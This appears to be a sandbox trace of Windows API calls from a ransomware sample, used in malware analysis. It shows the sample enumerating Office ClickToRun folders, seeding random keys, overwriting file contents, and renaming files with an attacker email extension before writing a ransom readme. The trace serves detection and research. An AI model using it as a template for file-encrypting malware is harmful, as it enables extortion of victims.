	[0085.292] FindNextFileW (in: hFindFile=0x477ab68, lpFindFileData=0x47a0fe0 | out: lpFindFileData=0x47a0fe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.292] wcscmp (_String1="..", _String2=".") returned 1
	[0085.293] wcscmp (_String1="..", _String2="..") returned 0
	[0085.293] FindNextFileW (in: hFindFile=0x477ab68, lpFindFileData=0x47a0fe0 | out: lpFindFileData=0x47a0fe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1
	[0085.293] wcscmp (_String1="en-us.16", _String2=".") returned 1
	[0085.293] wcscmp (_String1="en-us.16", _String2="..") returned 1
	[0085.293] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d5dcf8
	[0085.293] wcscpy (in: _Dest=0x2d5dcf8, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0"
	[0085.295] wcscat (in: _Dest=0x2d5dcf8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\"
	[0085.296] wcscat (in: _Dest=0x2d5dcf8, _Source="en-us.16" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16"

Thread:
	id = 468
	os_tid = 0x1678

	[0077.382] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x96) returned 0x2e2a998
	[0077.382] wcscpy (in: _Dest=0x2e2a998, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6"
	[0077.382] wcscat (in: _Dest=0x2e2a998, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\"
	[0077.382] wcscat (in: _Dest=0x2e2a998, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\*"
	[0077.382] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a1248
	[0077.382] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\*", lpFindFileData=0x47a1248 | out: lpFindFileData=0x47a1248*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477aee8
	[0085.619] wcscmp (_String1=".", _String2=".") returned 0
	[0085.619] FindNextFileW (in: hFindFile=0x477aee8, lpFindFileData=0x47a1248 | out: lpFindFileData=0x47a1248*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.619] wcscmp (_String1="..", _String2=".") returned 1
	[0085.619] wcscmp (_String1="..", _String2="..") returned 0
	[0085.619] FindNextFileW (in: hFindFile=0x477aee8, lpFindFileData=0x47a1248 | out: lpFindFileData=0x47a1248*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f9a029, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82f9a029, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1
	[0085.619] wcscmp (_String1="en-us.16", _String2=".") returned 1
	[0085.619] wcscmp (_String1="en-us.16", _String2="..") returned 1
	[0085.619] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d5dfb8
	[0085.619] wcscpy (in: _Dest=0x2d5dfb8, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6"
	[0085.620] wcscat (in: _Dest=0x2d5dfb8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\"
	[0085.620] wcscat (in: _Dest=0x2d5dfb8, _Source="en-us.16" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16"

Thread:
	id = 469
	os_tid = 0x167c

	[0077.383] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.0.xml")) returned 0x20
	[0085.575] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml", dwFileAttributes=0x20) returned 1
	[0085.588] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.0.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x184c
	[0085.588] GetFileSizeEx (in: hFile=0x184c, lpFileSize=0x12b3fab0 | out: lpFileSize=0x12b3fab0*=1974) returned 1
	[0085.588] SetFilePointerEx (in: hFile=0x184c, liDistanceToMove=0x7b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.601] ReadFile (in: hFile=0x184c, lpBuffer=0x12b3fa34, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x12b3fa30, lpOverlapped=0x0 | out: lpBuffer=0x12b3fa34*, lpNumberOfBytesRead=0x12b3fa30*=0x4, lpOverlapped=0x0) returned 1
	[0085.602] SetFilePointerEx (in: hFile=0x184c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.602] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.602] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0085.602] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781ad0
	[0085.602] NtQuerySystemTime (in: CurrentTime=0x12b3fa10 | out: CurrentTime=0x12b3fa10*=132251868123446283) returned 0x0
	[0085.602] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0x74e423d7
	[0085.602] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0xd7b41e0b
	[0085.602] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0xc1c37c2f
	[0085.602] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0x6a55a5b1
	[0085.602] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0xdade6844
	[0085.602] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0x3b13c4e5
	[0085.603] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0x6818540c
	[0085.603] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0xd56e9972
	[0085.603] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0xc356989
	[0085.603] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0xe66213a1
	[0085.603] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0x69aee6b1
	[0085.603] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0xac5e7422
	[0085.603] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0xecca732a
	[0085.603] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0x89af65ab
	[0085.603] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0x2212695a
	[0085.603] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0xe985bcf4
	[0085.603] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0x682debd4
	[0085.603] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0x3e8e5bd9
	[0085.603] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0xf657f204
	[0085.603] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0x456ca1a
	[0085.603] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0x349cdc44
	[0085.603] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0xd7543f93
	[0085.603] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0x3124279d
	[0085.603] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0x5e5350fa
	[0085.603] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0x6bf303e3
	[0085.603] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0xb03f0942
	[0085.603] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0x5620f108
	[0085.603] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0xd104f38d
	[0085.603] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0xaf7228c6
	[0085.603] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0x73cab0fe
	[0085.603] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0x888c8e5
	[0085.603] RtlRandom (in: Seed=0x12b3fa1c | out: Seed=0x12b3fa1c) returned 0x79c7cde3
	[0085.610] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819b8
	[0085.611] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0085.611] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781878
	[0085.611] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0085.611] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781ad0) returned 1
	[0085.612] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.612] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb1e0
	[0085.612] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0085.612] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a58
	[0085.612] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a58) returned 1
	[0085.612] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x47db828
	[0085.612] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x500d818
	[0085.612] ReadFile (in: hFile=0x184c, lpBuffer=0x47db828, nNumberOfBytesToRead=0x7b6, lpNumberOfBytesRead=0x12b3fa0c, lpOverlapped=0x0 | out: lpBuffer=0x47db828*, lpNumberOfBytesRead=0x12b3fa0c*=0x7b6, lpOverlapped=0x0) returned 1
	[0085.612] SetFilePointerEx (in: hFile=0x184c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.612] WriteFile (in: hFile=0x184c, lpBuffer=0x500d818*, nNumberOfBytesToWrite=0x7b6, lpNumberOfBytesWritten=0x12b3fa08, lpOverlapped=0x0 | out: lpBuffer=0x500d818*, lpNumberOfBytesWritten=0x12b3fa08*=0x7b6, lpOverlapped=0x0) returned 1
	[0085.613] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.613] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0085.613] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0085.613] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500d818) returned 1
	[0085.614] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47db828) returned 1
	[0085.614] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0085.614] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb1e0) returned 1
	[0085.614] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x39) returned 0x2dfb3d8
	[0085.614] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0085.614] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0085.614] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781ad0
	[0085.614] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781ad0) returned 1
	[0085.614] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x39) returned 0x2dfb0c0
	[0085.614] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781990
	[0085.614] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781b20
	[0085.614] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781b20) returned 1
	[0085.614] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0085.614] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0085.614] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11d) returned 0x2d88ff0
	[0085.614] SetFilePointerEx (in: hFile=0x184c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.614] WriteFile (in: hFile=0x184c, lpBuffer=0x2d88ff0*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0x12b3fa70, lpOverlapped=0x0 | out: lpBuffer=0x2d88ff0*, lpNumberOfBytesWritten=0x12b3fa70*=0x11d, lpOverlapped=0x0) returned 1
	[0085.615] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88ff0) returned 1
	[0085.615] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb0c0) returned 1
	[0085.615] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0085.615] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0085.615] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.615] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0085.615] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0085.615] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0085.616] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x49259c8
	[0085.616] wcscpy (in: _Dest=0x49259c8, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml"
	[0085.616] wcscat (in: _Dest=0x49259c8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0085.616] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x12b3fa28, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0085.616] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e43fe0
	[0085.616] NtSetInformationFile (FileHandle=0x184c, IoStatusBlock=0x12b3fa20, FileInformation=0x2e43fe0, Length=0xd2, FileInformationClass=0xa) returned 0x0
	[0085.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e43fe0) returned 1
	[0085.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea3a0) returned 1
	[0085.617] NtQueryInformationFile (in: FileHandle=0x184c, IoStatusBlock=0x12b3fa34, FileInformation=0x12b3fa0c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x12b3fa34, FileInformation=0x12b3fa0c) returned 0x0
	[0085.617] NtSetInformationFile (FileHandle=0x184c, IoStatusBlock=0x12b3fa34, FileInformation=0x12b3fa0c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.618] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49259c8) returned 1
	[0085.618] FlushFileBuffers (hFile=0x184c) returned 1
	[0093.069] CloseHandle (hObject=0x184c) returned 1
	[0093.070] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6c) returned 0x2e04018
	[0093.070] wcscpy (in: _Dest=0x2e04018, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\"
	[0093.070] wcscat (in: _Dest=0x2e04018, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\C3F7E-Readme.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\C3F7E-Readme.txt"
	[0093.070] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\c3f7e-readme.txt")) 

Thread:
	id = 470
	os_tid = 0x1680

	[0077.383] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.1.xml")) returned 0x20
	[0079.990] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml", dwFileAttributes=0x20) returned 1
	[0079.990] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.1.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13cc
	[0079.990] GetFileSizeEx (in: hFile=0x13cc, lpFileSize=0x12bbf804 | out: lpFileSize=0x12bbf804*=1972) returned 1
	[0079.990] SetFilePointerEx (in: hFile=0x13cc, liDistanceToMove=0x7b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.990] ReadFile (in: hFile=0x13cc, lpBuffer=0x12bbf788, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x12bbf784, lpOverlapped=0x0 | out: lpBuffer=0x12bbf788*, lpNumberOfBytesRead=0x12bbf784*=0x4, lpOverlapped=0x0) returned 1
	[0079.992] SetFilePointerEx (in: hFile=0x13cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.992] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781378
	[0079.992] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781850
	[0079.992] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0079.992] NtQuerySystemTime (in: CurrentTime=0x12bbf764 | out: CurrentTime=0x12bbf764*=132251868067338599) returned 0x0
	[0079.992] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0xf0b985ef
	[0079.992] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0xfec84319
	[0079.992] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0xbe7805f3
	[0079.992] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0xe9e8a858
	[0079.992] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0xadae2762
	[0079.992] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0xbf8c3840
	[0079.992] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0x49247c9
	[0079.992] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0x70de82ec
	[0079.992] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0x1148357
	[0079.992] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0x8c1b9136
	[0079.992] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0xe8247fd0
	[0079.992] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0x31f68909
	[0079.992] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0x48ecd260
	[0079.992] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0xe33db03d
	[0079.992] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0x65ac5948
	[0079.992] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0x6199b04
	[0079.993] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0x8caf6c1a
	[0079.993] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0x72eb0cc
	[0079.993] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0x7c37a27a
	[0079.993] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0x52b2961c
	[0079.993] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0xe5c07a3e
	[0079.993] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0xac3746e6
	[0079.993] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0x31e0908
	[0079.993] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0xfc342467
	[0079.993] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0xabf97683
	[0079.993] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0x834c07d4
	[0079.993] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0x206281b3
	[0079.993] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0x4c4fc803
	[0079.993] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0xae936952
	[0079.993] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0xcba23309
	[0079.993] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0x886fe18e
	[0079.993] RtlRandom (in: Seed=0x12bbf770 | out: Seed=0x12bbf770) returned 0xfecf1b2c
	[0079.999] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813c8
	[0080.001] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x47539f8
	[0080.001] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813f0
	[0080.001] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47539f8) returned 1
	[0080.001] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.001] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781378) returned 1
	[0080.001] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfad18
	[0080.001] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.001] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.001] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.001] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4e40868
	[0080.004] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4e4d070
	[0080.007] ReadFile (in: hFile=0x13cc, lpBuffer=0x4e40868, nNumberOfBytesToRead=0x7b4, lpNumberOfBytesRead=0x12bbf760, lpOverlapped=0x0 | out: lpBuffer=0x4e40868*, lpNumberOfBytesRead=0x12bbf760*=0x7b4, lpOverlapped=0x0) returned 1
